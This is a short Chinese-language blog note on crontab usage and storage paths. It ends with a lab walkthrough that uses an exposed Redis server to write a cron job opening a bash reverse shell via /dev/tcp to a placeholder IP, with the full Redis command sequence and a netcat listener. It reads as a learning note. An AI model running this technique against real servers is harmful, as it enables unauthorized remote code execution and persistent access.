Cron表达式

cron的增删改查

crontab -u root -r             删除某个用户的任务

crontab -u root time.cron 把文件添加到某个用户的任务

crontab -u root -I                列举某个用户的任务

crontab -u root -e                编辑某个用户的任务

存储路径

/var/spool/cron

按照用户存储

这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab

/etc/crontab

放的是对应周期的任务dalily、hourly 、monthly、 weekly

实验:建立反弹链接

可以使用redis写入定时文件

set x "\n* * * * * bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1\n"

* * * * *每隔一分钟执行一次

\n隔开两行的数据

config set dir /var/spool/cron/

config set dbfilename root

save

客户机

1、客户机使用netcat监听端口

2、连接到服务器的redis后将反弹命令写入服务器redis

 服务器端

可以在写入的地址中看到定时命令

连接成功

 *建立在可以连接上对方redis服务器的前提下,不会将定时任务和反弹命令删除的情况下

 

posted on 2023-10-10 13:46  na2co3-  阅读(59)  评论(0)    收藏  举报